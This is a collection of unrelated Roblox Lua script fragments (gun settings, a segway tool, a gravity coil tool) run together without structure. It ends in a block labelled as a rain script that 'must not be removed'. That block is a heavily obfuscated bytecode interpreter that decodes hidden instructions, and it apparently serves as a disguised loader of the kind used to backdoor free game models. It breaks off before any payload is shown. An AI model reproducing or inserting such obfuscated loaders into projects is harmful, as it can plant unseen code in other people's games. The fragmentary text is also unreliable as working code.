Auto = true; MuzzleOffset = Vector3.new(0, 0.625, 1.25); BaseDamage = 40; FireRate = 0.1; --In second ReloadTime = 2; --In second AmmoPerClip = 30; --Put "math.huge" to make this gun has infinite ammo and never reload Spread = 1.25; --In degree HeadshotEnabled = true; --Enable the gun to do extra damage on headshot HeadshotDamageMultiplier = 4; MouseIconID = "316279304"; HitSoundIDs = {186809061,186809249,186809250,186809252}; IdleAnimationID = 94331086; --Set to "nil" if you don't want to animate IdleAnimationSpeed = 1; FireAnimationID = 94332152; --Set to "nil" if you don't want to animate FireAnimationSpeed = 6; ReloadAnimationID = nil; --Set to "nil" if you don't want to animate ReloadAnimationSpeed = 1;
-- Set up character event binding when player joins the game
local function onPlayerAdded(player) player.CharacterAdded:Connect(onCharacterAdded) player.CharacterRemoving:Connect(onCharacterRemoving) end
--Search Event
frame.Search:GetPropertyChangedSignal("Text"):Connect(update)
-- Listeners
Tool.Equipped:connect(function() -- Redefine character and humanoid just in case Character = Player.Character Humanoid = Character:WaitForChild("Humanoid") -- Show the segway menu gui and color gui NewDisplayGui = DisplayGui:Clone() NewDisplayGui.Parent = PlayerGui NewColorGui = ColorGui:Clone() NewColorGui.Parent = PlayerGui NewColorGui:WaitForChild("MyTool").Value = Tool local OpenButton = NewDisplayGui:WaitForChild("OpenButton") local ColorOpenButton = NewColorGui:WaitForChild("OpenButton") OpenButton:TweenPosition(UDim2.new(1, -92,1, -38),0,0,0.4,true) ColorOpenButton:TweenPosition(UDim2.new(0, -6,0.5, -70),0,0,0.4,true) end) Tool.Unequipped:connect(function() -- Remove segway when tool is unequipped game:GetService("ContextActionService"):UnbindAction("segInputAction") if NewDisplayGui and NewColorGui then NewDisplayGui:Destroy() NewColorGui:Destroy() end if SpawnedSegway.Value then RemoveSegway() end end) Tool.Activated:connect(function() if HasSpawnedSegway.Value == false and IsCoolingDown == false then -- So workspace won't be spammed with segways IsCoolingDown = true HasSpawnedSegway.Value = true -- Hide the tool player is holding ConfigTool:FireServer(1,Tool,false,nil) -- Spawn segway SpawnSegway:FireServer(Character,Tool,SpawnedSegway,StarterColor.Value) -- Fire remote event to spawn -- Prevent spamming of segways which may lag the server wait(ToolCoolDown) IsCoolingDown = false end end) Humanoid.Died:connect(function() RemoveSegway() end)
--Allow players to chat to force their character to respawn?
allow_force_respawn = false
--[[Output Scaling Factor]]
local hpScaling = _Tune.WeightScaling*10 local FBrakeForce = _Tune.FBrakeForce local RBrakeForce = _Tune.RBrakeForce local PBrakeForce = _Tune.PBrakeForce
--model by CatLeoYT script--
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Sounds = { CoilSound = Handle:WaitForChild("CoilSound"), } Gravity = 196.20 JumpHeightPercentage = 0.12 ToolEquipped = false function GetAllConnectedParts(Object) local Parts = {} local function GetConnectedParts(Object) for i, v in pairs(Object:GetConnectedParts()) do local Ignore = false for ii, vv in pairs(Parts) do if v == vv then Ignore = true end end if not Ignore then table.insert(Parts, v) GetConnectedParts(v) end end end GetConnectedParts(Object) return Parts end function SetGravityEffect() if not GravityEffect or not GravityEffect.Parent then GravityEffect = Instance.new("BodyForce") GravityEffect.Name = "GravityCoilEffect" GravityEffect.Parent = Torso end local TotalMass = 0 local ConnectedParts = GetAllConnectedParts(Torso) for i, v in pairs(ConnectedParts) do if v:IsA("BasePart") then TotalMass = (TotalMass + v:GetMass()) end end local TotalMass = (TotalMass * 196.20 * (1 - JumpHeightPercentage)) GravityEffect.force = Vector3.new(0, TotalMass, 0) end function HandleGravityEffect(Enabled) if not CheckIfAlive() then return end for i, v in pairs(Torso:GetChildren()) do if v:IsA("BodyForce") then v:Destroy() end end for i, v in pairs({ToolUnequipped, DescendantAdded, DescendantRemoving}) do if v then v:disconnect() end end if Enabled then CurrentlyEquipped = true ToolUnequipped = Tool.Unequipped:connect(function() CurrentlyEquipped = false end) SetGravityEffect() DescendantAdded = Character.DescendantAdded:connect(function() wait() if not CurrentlyEquipped or not CheckIfAlive() then return end SetGravityEffect() end) DescendantRemoving = Character.DescendantRemoving:connect(function() wait() if not CurrentlyEquipped or not CheckIfAlive() then return end SetGravityEffect() end) end end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false) end function Equipped(Mouse) Character = Tool.Parent Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso") Player = Players:GetPlayerFromCharacter(Character) if not CheckIfAlive() then return end if HumanoidDied then HumanoidDied:disconnect() end HumanoidDied = Humanoid.Died:connect(function() if GravityEffect and GravityEffect.Parent then GravityEffect:Destroy() end end) Sounds.CoilSound:Play() HandleGravityEffect(true) ToolEquipped = true end function Unequipped() if HumanoidDied then HumanoidDied:disconnect() end HandleGravityEffect(false) ToolEquipped = false end Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--Rain script. Do not remove or it will not function correctly.
local l1IlIIlll1Il1I1iIIi = assert local Ill1Ii1llliiIl1Il1i = select local iili111llI111lIiI11 = tonumber local iIiiII1IiI1lil1l1l1 = unpack local IiiiillI1i1ill111lI = pcall local l1lilll11i11lIIi1Ii = setfenv local llI1II1li1l1I1I11Ii = setmetatable local lIllIl1i1iIii1liiIlli = type local liI11IIlil1lIIIilI1 = getfenv local lIli1l1iilliiiillIIl1 = tostring local IiII1ll11lliIiill1I = error local lliill1llIlilliIll1 = string.sub local lIl11iiIIIllIIIill11I = string.byte local IIII1i11i1liiIiIi11 = string.char local illlli1IiIIIiliIiI1 = string.rep local iiiilIlIIliiill1111 = string.gsub local iil1I1Il1l1IllIIil1 = string.match local lIl1Ii1iIlllliil1IIil = table.insert local lIl1Ii1il1IlllIi1IlII = lIl11iiIIIllIIIill11I("E", 1) local liiilllillI1iIli1ll, liilIllIlil1iiI11II = #{6113}, #{ 784, 1155, 3010, 2956, 6710, 2370, 5262, 6681, 1932, 5686, 1457, 1487, 6916, 5274, 761, 3530, 1309, 170, 2150, 5525, 679, 6927 } + lIl1Ii1il1IlllIi1IlII + 130980 local i1il111IilllIiIIilI = {} local ilI1l1lllI1lll1I1II = 1 local li1ii1ili11liIilI1I, l1i1IlIIIiIil1lI1l1 local function lIlIlllIiili1iliI11li(IIll1l11iIII11Ilil1, lI1Il1Ii1I1liIIi1Ii) local lii11IIIll1ili1llll IIll1l11iIII11Ilil1 = iiiilIlIIliiill1111(lliill1llIlilliIll1(IIll1l11iIII11Ilil1, 5), "..", function(lIll1Il11111II1I11lll) if lIl11iiIIIllIIIill11I(lIll1Il11111II1I11lll, 2) == 72 then lii11IIIll1ili1llll = iili111llI111lIiI11(lliill1llIlilliIll1(lIll1Il11111II1I11lll, 1, 1)) return "" else local Iil1ili1I1I1Il11iii = IIII1i11i1liiIiIi11(iili111llI111lIiI11(lIll1Il11111II1I11lll, 16)) if lii11IIIll1ili1llll then local ii1I111Iill1lillIiI = illlli1IiIIIiliIiI1(Iil1ili1I1I1Il11iii, lii11IIIll1ili1llll) lii11IIIll1ili1llll = nil return ii1I111Iill1lillIiI else return Iil1ili1I1I1Il11iii end end end) local function illiIIi1lIl111iIlli() local lIlI11Iii11I11liII11i = lIl11iiIIIllIIIill11I(IIll1l11iIII11Ilil1, ilI1l1lllI1lll1I1II, ilI1l1lllI1lll1I1II) ilI1l1lllI1lll1I1II = ilI1l1lllI1lll1I1II + 1 return lIlI11Iii11I11liII11i end local function il1i11IiiiiIi1I1i11() local lIlI11Iii11I11liII11i, Iil1ili1I1I1Il11iii, ii1I111Iill1lillIiI, lili1IiIIl1lIl1lIIl = lIl11iiIIIllIIIill11I(IIll1l11iIII11Ilil1, ilI1l1lllI1lll1I1II, ilI1l1lllI1lll1I1II + 3) ilI1l1lllI1lll1I1II = ilI1l1lllI1lll1I1II + 4 return lili1IiIIl1lIl1lIIl * 16777216 + ii1I111Iill1lillIiI * 65536 + Iil1ili1I1I1Il11iii * 256 + lIlI11Iii11I11liII11i end local function l11i1lii1I1i1li1l1i(iI11illIiiIliiIllll, illIilIlliiliI1I1i1, il11Ii1lIi1IIl1i1ll) if il11Ii1lIi1IIl1i1ll then local lI1I1iill1i1IIll1ii, i1111iiI1llllllI1ll = 0, 0 for ll1i1IiIlIiIIIiIiIi = illIilIlliiliI1I1i1, il11Ii1lIi1IIl1i1ll do lI1I1iill1i1IIll1ii = lI1I1iill1i1IIll1ii + 2 ^ i1111iiI1llllllI1ll * l11i1lii1I1i1li1l1i(iI11illIiiIliiIllll, ll1i1IiIlIiIIIiIiIi) i1111iiI1llllllI1ll = i1111iiI1llllllI1ll + 1 end return lI1I1iill1i1IIll1ii else local i11llIii1l1Ii1IliiI = 2 ^ (illIilIlliiliI1I1i1 - 1) return i11llIii1l1Ii1IliiI <= iI11illIiiIliiIllll % (i11llIii1l1Ii1IliiI + i11llIii1l1Ii1IliiI) and 1 or 0 end end local function Ii1l1I11liIlI1iiIIi() local lIlI11Iii11I11liII11i, Iil1ili1I1I1Il11iii = il1i11IiiiiIi1I1i11(), il1i11IiiiiIi1I1i11() if lIlI11Iii11I11liII11i == 0 and Iil1ili1I1I1Il11iii == 0 then return 0 end return (-2 * l11i1lii1I1i1li1l1i(Iil1ili1I1I1Il11iii, 32) + 1) * 2 ^ (l11i1lii1I1i1li1l1i(Iil1ili1I1I1Il11iii, 21, 31) - 1023) * ((l11i1lii1I1i1li1l1i(Iil1ili1I1I1Il11iii, 1, 20) * 4294967296 + lIlI11Iii11I11liII11i) / 4503599627370496 + 1) end local lIlIIililiiIlIlI1i1ii = bit or bit32 local lllIii1IIl1lii1lII1 = lIlIIililiiIlIlI1i1ii and lIlIIililiiIlIlI1i1ii.bxor or function(lIlI11Iii11I11liII11i, Iil1ili1I1I1Il11iii) local lIlllIIl1lllliIIii11I = 1 local ii1I111Iill1lillIiI = 0 while lIlI11Iii11I11liII11i > 0 and Iil1ili1I1I1Il11iii > 0 do local li1il1lIIiIlIli1lII = lIlI11Iii11I11liII11i % 2 local IIIIiiiliI1iii1ll1i = Iil1ili1I1I1Il11iii % 2 if li1il1lIIiIlIli1lII ~= IIIIiiiliI1iii1ll1i then ii1I111Iill1lillIiI = ii1I111Iill1lillIiI + lIlllIIl1lllliIIii11I end lIlI11Iii11I11liII11i = (lIlI11Iii11I11liII11i - li1il1lIIiIlIli1lII) / 2 Iil1ili1I1I1Il11iii = (Iil1ili1I1I1Il11iii - IIIIiiiliI1iii1ll1i) / 2 lIlllIIl1lllliIIii11I = lIlllIIl1lllliIIii11I * 2 end if lIlI11Iii11I11liII11i < Iil1ili1I1I1Il11iii then lIlI11Iii11I11liII11i = Iil1ili1I1I1Il11iii end while lIlI11Iii11I11liII11i > 0 do local li1il1lIIiIlIli1lII = lIlI11Iii11I11liII11i % 2 if li1il1lIIiIlIli1lII > 0 then ii1I111Iill1lillIiI = ii1I111Iill1lillIiI + lIlllIIl1lllliIIii11I end lIlI11Iii11I11liII11i = (lIlI11Iii11I11liII11i - li1il1lIIiIlIli1lII) / 2 lIlllIIl1lllliIIii11I = lIlllIIl1lllliIIii11I * 2 end return ii1I111Iill1lillIiI end local function lilI111il1iI11Ilii1(I1Iii1111IIlIIlIli1) local i1I1IIi1IIlli11lIii = { lIl11iiIIIllIIIill11I(IIll1l11iIII11Ilil1, ilI1l1lllI1lll1I1II, ilI1l1lllI1lll1I1II + 3) } ilI1l1lllI1lll1I1II = ilI1l1lllI1lll1I1II + 4 local lIlI11Iii11I11liII11i = lllIii1IIl1lii1lII1(i1I1IIi1IIlli11lIii[1], l1i1IlIIIiIil1lI1l1) local Iil1ili1I1I1Il11iii = lllIii1IIl1lii1lII1(i1I1IIi1IIlli11lIii[2], l1i1IlIIIiIil1lI1l1) local ii1I111Iill1lillIiI = lllIii1IIl1lii1lII1(i1I1IIi1IIlli11lIii[3], l1i1IlIIIiIil1lI1l1) local lili1IiIIl1lIl1lIIl = lllIii1IIl1lii1lII1(i1I1IIi1IIlli11lIii[4], l1i1IlIIIiIil1lI1l1) l1i1IlIIIiIil1lI1l1 = (37 * l1i1IlIIIiIil1lI1l1 + I1Iii1111IIlIIlIli1) % 256 return lili1IiIIl1lIl1lIIl * 16777216 + ii1I111Iill1lillIiI * 65536 + Iil1ili1I1I1Il11iii * 256 + lIlI11Iii11I11liII11i end local function iiiIIliiii1iIIiI1iI(l1IlI1IiiIll11IiIll) local lIIiiiIl1lIiIIIlI1l = il1i11IiiiiIi1I1i11() local II1Ill111ii1l1iliil = "" for ll1i1IiIlIiIIIiIiIi = liiilllillI1iIli1ll, lIIiiiIl1lIiIIIlI1l do II1Ill111ii1l1iliil = II1Ill111ii1l1iliil .. IIII1i11i1liiIiIi11(lllIii1IIl1lii1lII1(lIl11iiIIIllIIIill11I(IIll1l11iIII11Ilil1, ilI1l1lllI1lll1I1II + ll1i1IiIlIiIIIiIiIi - 1), li1ii1ili11liIilI1I)) li1ii1ili11liIilI1I = (l1IlI1IiiIll11IiIll * li1ii1ili11liIilI1I + 165) % 256 end ilI1l1lllI1lll1I1II = ilI1l1lllI1lll1I1II + lIIiiiIl1lIiIIIlI1l return II1Ill111ii1l1iliil end li1ii1ili11liIilI1I = illiIIi1lIl111iIlli() l1i1IlIIIiIil1lI1l1 = illiIIi1lIl111iIlli() local l1IiII1iIl11l1II1l1 = {} for ll1i1IiIlIiIIIiIiIi = liiilllillI1iIli1ll, illiIIi1lIl111iIlli() do local lIlIlliIllii1ii1iIll1 = illiIIi1lIl111iIlli() local IlIl1IliIII111IiilI = (ll1i1IiIlIiIIIiIiIi - 1) * 2 l1IiII1iIl11l1II1l1[IlIl1IliIII111IiilI] = l11i1lii1I1i1li1l1i(lIlIlliIllii1ii1iIll1, 1, 4) l1IiII1iIl11l1II1l1[IlIl1IliIII111IiilI + 1] = l11i1lii1I1i1li1l1i(lIlIlliIllii1ii1iIll1, 5, 8) end local function liil11lIIl1liIIl1l1() local l111Ilill1lli1iIli1 = { [20475] = {}, [118329] = {}, [123880] = {}, [103143] = {} } illiIIi1lIl111iIlli() l111Ilill1lli1iIli1[9483] = illiIIi1lIl111iIlli() l111Ilill1lli1iIli1[20668] = illiIIi1lIl111iIlli() il1i11IiiiiIi1I1i11() il1i11IiiiiIi1I1i11() illiIIi1lIl111iIlli() local I1111iII11l1lilllI1 = il1i11IiiiiIi1I1i11() - (#{ 3585, 6414, 3304, 5239, 2372, 538, 4809, 2398, 5500, 3271, 6146, 4811, 743, 5987, 2930, 2732, 1007, 4089, 864, 3898, 1812, 2841, 2588 } + lIl1Ii1il1IlllIi1IlII + 133635) local iliilIlI1lii1l11i11 = illiIIi1lIl111iIlli() for ll1i1IiIlIiIIIiIiIi = liiilllillI1iIli1ll, I1111iII11l1lilllI1 do local Illli111111I1IIi1II = {} local lIlIlliIllii1ii1iIll1 = lilI111il1iI11Ilii1(iliilIlI1lii1l11i11) Illli111111I1IIi1II[36691] = l11i1lii1I1i1li1l1i(lIlIlliIllii1ii1iIll1, #{ 4599, 1434, 2604, 5834, 2324, 4315, 1092, 6395, 953, 5073 }, #{ 6915, 4165, 5221, 6880, 4086, 5474, 4018, 3370, 6365, 2510, 1707, 564, 84, 1753, 4548, 1966, 4680, 6623 }) Illli111111I1IIi1II[123859] = l11i1lii1I1i1li1l1i(lIlIlliIllii1ii1iIll1, #{3358}, #{ 6347, 4968, 3862, 6826, 1363, 1983, 36, 1321, 1042, 3594, 5023, 1729, 6555, 1583, 2451, 676, 4718, 248 }) Illli111111I1IIi1II[36151] = l11i1lii1I1i1li1l1i(lIlIlliIllii1ii1iIll1, #{6787}, #{ 5258, 5069, 667, 3215, 5359, 6150, 4904, 1898, 6154 }) Illli111111I1IIi1II[20051] = l11i1lii1I1i1li1l1i(lIlIlliIllii1ii1iIll1, #{ 5009, 4898, 5976, 549, 3255, 6635, 1514, 3099, 6331, 5738, 5748, 5761, 1924, 4609, 4738, 2234, 6615, 2499, 918, 2276, 2335 } + lIl1Ii1il1IlllIi1IlII + -63, #{ 2934, 4209, 2369, 1858, 4078, 2424, 2084, 6314, 1020, 2137, 271, 291, 6786, 423, 4631, 705, 2357, 367, 5058, 3978 } + lIl1Ii1il1IlllIi1IlII + -57) Illli111111I1IIi1II[130555] = l11i1lii1I1i1li1l1i(lIlIlliIllii1ii1iIll1, #{ 3830, 4946, 1520, 6440, 6804, 4071, 5426, 4556, 490, 562, 101, 3111, 126, 2759, 2555, 6371, 165, 4075, 3876 }, #{ 6355, 2755, 3321, 1869, 3482, 2829, 3640, 2488, 6308, 2335, 2823, 4683, 777, 5546, 1101, 6110, 374, 4389, 4926, 36, 6877, 3608 } + lIl1Ii1il1IlllIi1IlII + -65) l111Ilill1lli1iIli1[20475][ll1i1IiIlIiIIIiIiIi] = Illli111111I1IIi1II end il1i11IiiiiIi1I1i11() l111Ilill1lli1iIli1[85389] = illiIIi1lIl111iIlli() local li1l111i1liIllI1lI1 = il1i11IiiiiIi1I1i11() for ll1i1IiIlIiIIIiIiIi = liiilllillI1iIli1ll, li1l111i1liIllI1lI1 do l111Ilill1lli1iIli1[118329][ll1i1IiIlIiIIIiIiIi] = il1i11IiiiiIi1I1i11() end local li1l111i1liIllI1lI1 = il1i11IiiiiIi1I1i11() - (#{ 637, 642, 4024, 5292, 97, 3013, 758, 429, 1400, 1179, 4860, 691, 64, 4660, 4981, 4312, 4213, 6663, 3966, 1625, 925, 3508, 5704 } + lIl1Ii1il1IlllIi1IlII + 133688) local IilIIlliIIlIIl1l1l1 = illiIIi1lIl111iIlli() for ll1i1IiIlIiIIIiIiIi = liiilllillI1iIli1ll, li1l111i1liIllI1lI1 do local i1lIililiiII1Ii1i1l local lIllIl1i1iIii1liiIlli = illiIIi1lIl111iIlli() if lIllIl1i1iIii1liiIlli == #{ 5781, 4961, 589, 2370, 2541, 276, 2814, 2074, 1385, 3750, 6931, 6746, 4541, 2676, 3239, 2764, 2980, 4536, 4883, 78 } + lIl1Ii1il1IlllIi1IlII + 85 then i1lIililiiII1Ii1i1l = lliill1llIlilliIll1(iiiIIliiii1iIIiI1iI(insEncKey), #{6472, 1606}) end if lIllIl1i1iIii1liiIlli == #{ 231, 2599, 21, 5797, 4913, 3794, 30, 2320, 6886, 5621, 2954, 884, 1015, 455, 6164, 5951, 3757, 5306, 5603, 4273, 1529, 4198, 6296 } + lIl1Ii1il1IlllIi1IlII + 78 then i1lIililiiII1Ii1i1l = #{ 145, 6781, 5792, 5890, 1459, 5802, 2497, 6955, 2425, 835, 5391, 6387, 494, 2907, 2867, 6623, 302, 242, 1220, 1045, 6483, 5987, 6940, 4501 } + lIl1Ii1il1IlllIi1IlII + 36949 == #{ 631, 5748, 4343, 819, 3181, 4033, 5554, 2432, 6772, 6132, 1729, 5941, 3042, 159, 1309, 5872, 3466, 1520, 987, 2726, 485, 1914, 4408 } + lIl1Ii1il1IlllIi1IlII + 53808 end if lIllIl1i1iIii1liiIlli == #{ 1116, 4676, 2243, 1900, 832, 1993, 6330, 3192, 1471, 2205, 603, 4809, 4002, 6960, 1202, 2719, 6734, 4899, 3007, 6811, 824 } + lIl1Ii1il1IlllIi1IlII + -5 then i1lIililiiII1Ii1i1l = illiIIi1lIl111iIlli() end if lIllIl1i1iIii1liiIlli == #{ 1285, 1998, 3336, 1401, 5172, 1916, 5539, 2819, 4248, 1727, 3125, 6077, 2046, 885, 5230, 3947, 757, 487, 2214, 1450, 4652, 4448, 4219 } + lIl1Ii1il1IlllIi1IlII + 148 then i1lIililiiII1Ii1i1l = il1i11IiiiiIi1I1i11() end if lIllIl1i1iIii1liiIlli == #{ 3333, 142, 792, 5130, 6629, 4833, 3964, 18, 5530, 631, 6257, 2406, 4865, 1138, 1042, 596, 845, 4083, 4584, 1481 } + lIl1Ii1il1IlllIi1IlII + 29 then i1lIililiiII1Ii1i1l = illiIIi1lIl111iIlli() + il1i11IiiiiIi1I1i11() + Ii1l1I11liIlI1iiIIi() end if lIllIl1i1iIii1liiIlli == #{ 6096, 6262, 2307, 25, 513, 2816, 3613, 1428, 5782, 1413, 4771, 3051, 166, 6110, 4250, 5000, 2938, 2049, 2864, 165, 4680, 1859, 5120 } + lIl1Ii1il1IlllIi1IlII + 112 then i1lIililiiII1Ii1i1l = illiIIi1lIl111iIlli() + il1i11IiiiiIi1I1i11() + Ii1l1I11liIlI1iiIIi() end if lIllIl1i1iIii1liiIlli == #{ 6337, 9, 5144, 1536, 1969, 2498, 213, 1356, 4596, 2569, 6282, 6077, 1434, 3370, 4482, 2834, 6750, 275, 5090, 1465, 2162, 4985, 1944, 697 } + lIl1Ii1il1IlllIi1IlII + 108 then i1lIililiiII1Ii1i1l = Ii1l1I11liIlI1iiIIi() end if lIllIl1i1iIii1liiIlli == #{ 6446, 4205, 6650, 4305, 6404, 6761, 757, 3824, 786, 438, 3129, 2396, 2023, 1861, 3787, 5045, 454, 5490, 4573, 1516, 4242 } + lIl1Ii1il1IlllIi1IlII + 161 then i1lIililiiII1Ii1i1l = #{ 2003, 4481, 6892, 1530, 4810, 1929, 2054, 1196, 508, 3041, 5426, 203, 2363, 2287, 3242, 6750, 817, 346, 4108, 642, 4837, 4944, 320, 3617 } + lIl1Ii1il1IlllIi1IlII + 38538 == #{ 2003, 4481, 6892, 1530, 4810, 1929, 2054, 1196, 508, 3041, 5426, 203, 2363, 2287, 3242, 6750, 817, 346, 4108, 642, 4837, 4944, 320, 3617 } + lIl1Ii1il1IlllIi1IlII + 38538 end if lIllIl1i1iIii1liiIlli == #{ 5932, 1957, 4091, 5950, 5094, 4021, 2015, 5636, 6220, 5624, 6220, 1070, 1097, 5346, 5378, 926, 1466, 2256, 4876, 2156 } + lIl1Ii1il1IlllIi1IlII + 39 then i1lIililiiII1Ii1i1l = lliill1llIlilliIll1(iiiIIliiii1iIIiI1iI(IilIIlliIIlIIl1l1l1), #{ 3624, 3156, 438, 4265, 6319 }) end l111Ilill1lli1iIli1[103143][ll1i1IiIlIiIIIiIiIi - liiilllillI1iIli1ll] = i1lIililiiII1Ii1i1l end for ll1i1IiIlIiIIIiIiIi = liiilllillI1iIli1ll, I1111iII11l1lilllI1 do local Illli111111I1IIi1II = l111Ilill1lli1iIli1[20475][ll1i1IiIlIiIIIiIiIi] local Ii1liI11I1i11liIl1i = l1IiII1iIl11l1II1l1[Illli111111I1IIi1II[20051]] if Ii1liI11I1i11liIl1i == #{ 4044, 6070, 460 } then if Illli111111I1IIi1II[36151] > 255 then Illli111111I1IIi1II[96649] = l111Ilill1lli1iIli1[103143][Illli111111I1IIi1II[36151] - 256] end if Illli111111I1IIi1II[36691] > 255 then Illli111111I1IIi1II[11142] = l111Ilill1lli1iIli1[103143][Illli111111I1IIi1II[36691] - 256] end end if Ii1liI11I1i11liIl1i == #{4732} and Illli111111I1IIi1II[36151] > 255 then Illli111111I1IIi1II[96649] = l111Ilill1lli1iIli1[103143][Illli111111I1IIi1II[36151] - 256] end if Ii1liI11I1i11liIl1i == #{5327, 855} and Illli111111I1IIi1II[36691] > 255 then Illli111111I1IIi1II[11142] = l111Ilill1lli1iIli1[103143][Illli111111I1IIi1II[36691] - 256] end if Ii1liI11I1i11liIl1i == #{ 403, 1155, 6095, 3568 } then Illli111111I1IIi1II[67984] = l111Ilill1lli1iIli1[103143][Illli111111I1IIi1II[123859]] end end illiIIi1lIl111iIlli() illiIIi1lIl111iIlli() il1i11IiiiiIi1I1i11() il1i11IiiiiIi1I1i11() il1i11IiiiiIi1I1i11() illiIIi1lIl111iIlli() illiIIi1lIl111iIlli() illiIIi1lIl111iIlli() local li1l111i1liIllI1lI1 = il1i11IiiiiIi1I1i11() for ll1i1IiIlIiIIIiIiIi = liiilllillI1iIli1ll, li1l111i1liIllI1lI1 do l111Ilill1lli1iIli1[123880][ll1i1IiIlIiIIIiIiIi - liiilllillI1iIli1ll] = liil11lIIl1liIIl1l1() end il1i11IiiiiIi1I1i11() return l111Ilill1lli1iIli1 end local function il11i1iIIillI11lii1(l111Ilill1lli1iIli1, lI1Il1Ii1I1liIIi1Ii, illil1I1iIIlliil1Il) local I1IiilliiIil1liI1Ii, llIIl1IIIiIiIIili1i = -1, 3 local II1i11Illl1lIlliI11 = l111Ilill1lli1iIli1[20475] local IiI1IIlllililIIllli = 20668 local lIllII111lii1iiIl1liI = l111Ilill1lli1iIli1[123880] local lIlIIiiIiil11llillIlI = l111Ilill1lli1iIli1[9483] local iI1I1I1IiiI1illiI1l = l111Ilill1lli1iIli1[85389] local IIIl11Illl1illilIil = 20051 local iIiiIili1liiIi1ilI1 = l111Ilill1lli1iIli1[118329] local lIlIIlIli1II11l11IIll = 36151 local function l1IiIlil1i1lIIIllIl(...) local ll1iIIll1iiIi1II1Il = 0 local IIlii1illiiiIii1il1 = { iIiiII1IiI1lil1l1l1({}, 1, iI1I1I1IiiI1illiI1l) } local ili1lIiIlllI1iIllll = 1 local lIllIilIlI1i1li11Illi = {} local llii1ilI1II1Il1i1il = {} local lI1Il1Ii1I1liIIi1Ii = liI11IIlil1lIIIilI1() local lIlIIli1liII1I1II1i1i = { ... } local Iili1IlIIlilI1iI1Ii = #lIlIIli1liII1I1II1i1i - 1 for ll1i1IiIlIiIIIiIiIi = 0, Iili1IlIIlilI1iI1Ii do if ll1i1IiIlIiIIIiIiIi < lIlIIiiIiil11llillIlI then IIlii1illiiiIii1il1[ll1i1IiIlIiIIIiIiIi] = lIlIIli1liII1I1II1i1i[ll1i1IiIlIiIIIiIiIi + 1] end end local function lIiIIiIli1illl11lIl(...) local ii1I111Iill1lillIiI = Ill1Ii1llliiIl1Il1i("#", ...) local lIlill1IIliIlliI1lI = { ... } return ii1I111Iill1lillIiI, lIlill1IIliIlliI1lI end local function l11iiIllIIlI1liIIil() while true do local IiIi11i11ililiIlIil = II1i11Illl1lIlliI11[ili1lIiIlllI1iIllll] local l1i1lIlIi1lii1ilIiI = IiIi11i11ililiIlIil[20051] ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll + 1 if l1i1lIlIi1lii1ilIiI < 10 then if l1i1lIlIi1lii1ilIiI >= 5 then if l1i1lIlIi1lii1ilIiI < 7 then if l1i1lIlIi1lii1ilIiI == 6 then lIllIilIlI1i1li11Illi[IIlii1illiiiIii1il1] = nil local iI11i1IIIl1l1ilIii1 = IiIi11i11ililiIlIil[130555] local llilIii11i1l1li1llI = IiIi11i11ililiIlIil[36151] if llilIii11i1l1li1llI == 1 then return true end local lil1ii11lIllilI1iii = iI11i1IIIl1l1ilIii1 + llilIii11i1l1li1llI - 2 if llilIii11i1l1li1llI == 0 then lil1ii11lIllilI1iii = ll1iIIll1iiIi1II1Il end return true, iI11i1IIIl1l1ilIii1, lil1ii11lIllilI1iii elseif not not IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] == (IiIi11i11ililiIlIil[36691] == 0) then ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll + 1 end elseif l1i1lIlIi1lii1ilIiI >= 8 then if l1i1lIlIi1lii1ilIiI == 9 then if IiIi11i11ililiIlIil[36691] == 200 then ili1lIiIlllI1iIllll = ili1lIiIlllI1iIllll - 1 II1i11Illl1lIlliI11[ili1lIiIlllI1iIllll] = { [20051] = 6, [130555] = (IiIi11i11ililiIlIil[130555] - 199) % 256, [36151] = (IiIi11i11ililiIlIil[36151] - 199) % 256 } else local iIli1I1IIllIi1IIIii = IiIi11i11ililiIlIil[130555] local lIli11i1I1llIi11il1lI = {} for III1I1l1iilli1lIiil, III1i1Ii1Il1ilIi1iI in pairs(lIllIilIlI1i1li11Illi[IIlii1illiiiIii1il1]) do for III1I1l1iilli1lIiil, iliI1iI1l1l1IliII1l in pairs(III1i1Ii1Il1ilIi1iI) do if iliI1iI1l1l1IliII1l[1] == IIlii1illiiiIii1il1 and iIli1I1IIllIi1IIIii <= iliI1iI1l1l1IliII1l[2] then local iiIIl1IlIi1IiI11i1I = iliI1iI1l1l1IliII1l[2] if not lIli11i1I1llIi11il1lI[iiIIl1IlIi1IiI11i1I] then il11i1iIIillI11lii1(llii1ilI1II1Il1i1il, IIlii1illiiiIii1il1[iiIIl1IlIi1IiI11i1I]) lIli11i1I1llIi11il1lI[iiIIl1IlIi1IiI11i1I] = #llii1ilI1II1Il1i1il end iliI1iI1l1l1IliII1l[1] = llii1ilI1II1Il1i1il iliI1iI1l1l1IliII1l[2] = lIli11i1I1llIi11il1lI[iiIIl1IlIi1IiI11i1I] end end end end else IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = #IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36151]] end else IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = (IiIi11i11ililiIlIil[96649] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36151]]) - (IiIi11i11ililiIlIil[11142] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36691]]) end elseif l1i1lIlIi1lii1ilIiI < 2 then if l1i1lIlIi1lii1ilIiI == 1 then IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36151]][IiIi11i11ililiIlIil[11142] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36691]]] else local IlI111iilI1lllil111 = IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36151]] IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555] + 1] = IlI111iilI1lllil111 IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[130555]] = IlI111iilI1lllil111[IiIi11i11ililiIlIil[11142] or IIlii1illiiiIii1il1[IiIi11i11ililiIlIil[36691]]] end elseif l1i1lIlIi1lii1ilIiI >= 3 then if l1i1lIlIi1lii1ilIiI == 4 then 